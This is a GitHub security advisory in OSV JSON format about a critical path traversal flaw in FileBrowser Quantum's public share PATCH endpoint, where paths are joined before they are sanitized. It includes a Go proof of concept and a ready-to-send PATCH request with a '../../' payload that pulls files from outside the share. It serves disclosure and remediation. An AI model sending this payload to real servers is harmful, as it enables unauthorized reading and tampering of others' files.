{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gtsteffaniak/filebrowser/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260518193514-28e9b81e438e"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-22T17:26:25Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`publicPatchHandler` in `backend/http/public.go` joins user-controlled `fromPath` and `toPath` body fields with the trusted `d.share.Path` BEFORE the downstream sanitizer runs. Because `filepath.Join` collapses `..` segments during the join, the sanitizer in `resourcePatchHandler` never sees the traversal and the move/copy/rename operates on a path outside the shared directory. The same root-cause pattern was patched for the bulk DELETE endpoint as CVE-2026-44542 (GHSA-fwj3-42wh-8673), but the PATCH handler with the identical pattern was not updated.\n\nA public share link with `AllowModify=true` is sufficient to exploit this. Anyone holding such a link can move, copy, or rename arbitrary files within the share owner\u0027s source root.\n\nVerified on commit 869b640 (HEAD of `main` as of 2026-05-07).\n\n## Details\n\nIn `backend/http/public.go` the public PATCH handler accepts a JSON body with `items[].fromPath` and `items[].toPath` from the client, then prepends the share path before delegating to `resourcePatchHandler`:\n\n```go\n// backend/http/public.go (publicPatchHandler)\nfor i := range req.Items {\n    req.Items[i].FromSource = sourceName\n    req.Items[i].FromPath   = utils.JoinPathAsUnix(d.share.Path, req.Items[i].FromPath) // line 372\n    req.Items[i].ToSource   = sourceName\n    req.Items[i].ToPath     = utils.JoinPathAsUnix(d.share.Path, req.Items[i].ToPath)   // line 374\n}\nd.Data = req\nstatus, err := resourcePatchHandler(w, r, d)\n```\n\n`utils.JoinPathAsUnix` is a thin wrapper around `filepath.Join`, which\ncalls `filepath.Clean` and resolves `..` segments. By the time the\njoined path reaches `resourcePatchHandler`, every `..` from the body\nhas been collapsed:\n\n```go\n// backend/http/resource.go (resourcePatchHandler)\ncleanFromPath, err := utils.SanitizeUserPath(item.FromPath) // line 794\n// ...\ncleanToPath, err  := utils.SanitizeUserPath(item.ToPath)    // line 800\n```\n\n`SanitizeUserPath` (in `backend/common/utils/file.go`) checks for `..` segments after `filepath.Clean`. Since the join already cleaned the path, no `..` segment remains, the sanitizer returns success, and the move/copy/rename proceeds on the escaped target.\n\nThe share owner\u0027s user is substituted as the acting user for permission checks (`d.user = shareCreatedByUser`), so the access-control layer treats the request as if the share owner performed it. In a default configuration with no explicit access rules and `DenyByDefault=false`, `Access.Permitted` returns true for any path within the source, and the only remaining boundary is the source root itself (`idx.Path` in `Index.GetRealPath`).\n\nThe fix that landed for CVE-2026-44542 / GHSA-fwj3-42wh-8673 moved the sanitizer before the join in `resourceBulkDeleteHandler` (`backend/http/resource.go:274`) and in `withHashFileHelper` (`backend/http/middleware.go:57`). The PATCH variant in `public.go` follows the opposite order (join first, sanitize later) and was not updated.\n\nFor comparison, the same file\u0027s `publicPutHandler` uses the safe order:\n\n```go\n// backend/http/public.go (publicPutHandler) -- safe order\ncleanPath, err := utils.SanitizeUserPath(path)         // sanitize FIRST\nif err != nil { return http.StatusBadRequest, err }\nresolvedPath := utils.JoinPathAsUnix(d.share.Path, cleanPath) // then join\n```\n\n## PoC\n\nThe bug reproduces deterministically with the project\u0027s own helpers, without needing the full server. The Go program below uses verbatim copies of `SanitizeUserPath` (from `backend/common/utils/file.go`) and `JoinPathAsUnix` (from `backend/common/utils/main.go`) and replays the exact sequence executed for one item in `publicPatchHandler` followed by `resourcePatchHandler`.\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"path/filepath\"\n    \"runtime\"\n    \"strings\"\n)\n\n// Verbatim from backend/common/utils/file.go\nfunc SanitizeUserPath(userPath string) (string, error) {\n    clean := filepath.Clean(userPath)\n    for _, segment := range strings.Split(clean, string(filepath.Separator)) {\n        if segment == \"..\" {\n            return \"\", fmt.Errorf(\"invalid path: path traversal detected\")\n        }\n    }\n    if clean == \".\" {\n        return \"\", fmt.Errorf(\"invalid path: path must standard index path\")\n    }\n    return clean, nil\n}\n\n// Verbatim from backend/common/utils/main.go\nfunc JoinPathAsUnix(parts ...string) string {\n    p := filepath.Join(parts...)\n    if runtime.GOOS == \"windows\" {\n        p = strings.ReplaceAll(p, \"\\\\\", \"/\")\n    }\n    return p\n}\n\nfunc main() {\n    sharePath := \"/users/alice/shared/\" // d.share.Path (server-controlled)\n    attackerInput := \"../../bob/secret.txt\"\n\n    // publicPatchHandler line 372: join BEFORE sanitize\n    joined := JoinPathAsUnix(sharePath, attackerInput)\n\n    // resourcePatchHandler line 794: sanitize the already-joined path\n    sanitized, err := SanitizeUserPath(joined)\n\n    fmt.Printf(\"attacker input: %q\\n\", attackerInput)\n    fmt.Printf(\"after join:     %q\\n\", joined)\n    fmt.Printf(\"sanitizer err:  %v\\n\", err)\n    fmt.Printf(\"sanitized path: %q\\n\", sanitized)\n}\n```\n\nOutput:\n\n```\nattacker input: \"../../bob/secret.txt\"\nafter join:     \"/users/bob/secret.txt\"\nsanitizer err:  \u003cnil\u003e\nsanitized path: \"/users/bob/secret.txt\"\n```\n\nThe path `/users/bob/secret.txt` is outside the share root `/users/alice/shared/` and is the value passed to `Index.GetRealPath` which resolves to `\u003csource-root\u003e/users/bob/secret.txt`. The downstream move/copy/rename then targets that file. The same input is rejected by `SanitizeUserPath` if the order is reversed (sanitize-then-join), which is the order used by `publicPutHandler` and the post-fix bulk DELETE.\n\nEnd-to-end exploit request shape:\n\n```\nPATCH /public/api/resources?hash=\u003cshare-hash\u003e HTTP/1.1\nContent-Type: application/json\n\n{\n  \"action\": \"rename\",\n  \"items\": [\n    {\n      \"fromSource\": \"default\",\n      \"fromPath\":   \"../../bob/secret.txt\",\n      \"toSource\":   \"default\",\n      \"toPath\":     \"stolen.txt\"\n    }\n  ]\n}\n```\n\nAfter the request, `stolen.txt` exists inside the shared directory and is downloadable through the same public share, exfiltrating the file that was outside the share\u0027s intended scope.\n\n## Impact\n\nAn unauthenticated attacker who possesses a public share link with `AllowModify=true` can move, copy, or rename any file inside the share owner\u0027s source root, escaping the share\u0027s intended directory. Two practical exploitation patterns:\n\n1. Read arbitrary files in the source root: rename a file from outside the shared directory to a location inside it, then download it through the share. This breaks confidentiality of any file the share owner can read.\n\n2. Tamper with arbitrary files in the source root: move an attacker-controlled file (uploaded into the share) over the top of a victim file. This breaks integrity of files the share owner can write to (configuration files, dotfiles, web roots if the source includes them).\n\nScope is bounded by the source root rather than the shared directory, which is the same boundary class as CVE-2026-44542 (GHSA-fwj3-42wh-8673, CVSS 9.1). The remediation pattern is the same: sanitize first, then join. The fix is a one-spot change in `publicPatchHandler` to call `SanitizeUserPath` on `req.Items[i].FromPath` and `req.Items[i].ToPath` before the two `JoinPathAsUnix(d.share.Path, ...)` calls.",
  "id": "GHSA-qqqm-5547-774x",
  "modified": "2026-05-22T17:26:25Z",
  "published": "2026-05-22T17:26:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-qqqm-5547-774x"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gtsteffaniak/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FileBrowser Quantum: Path traversal in public share PATCH allows file ops outside shared directory"
}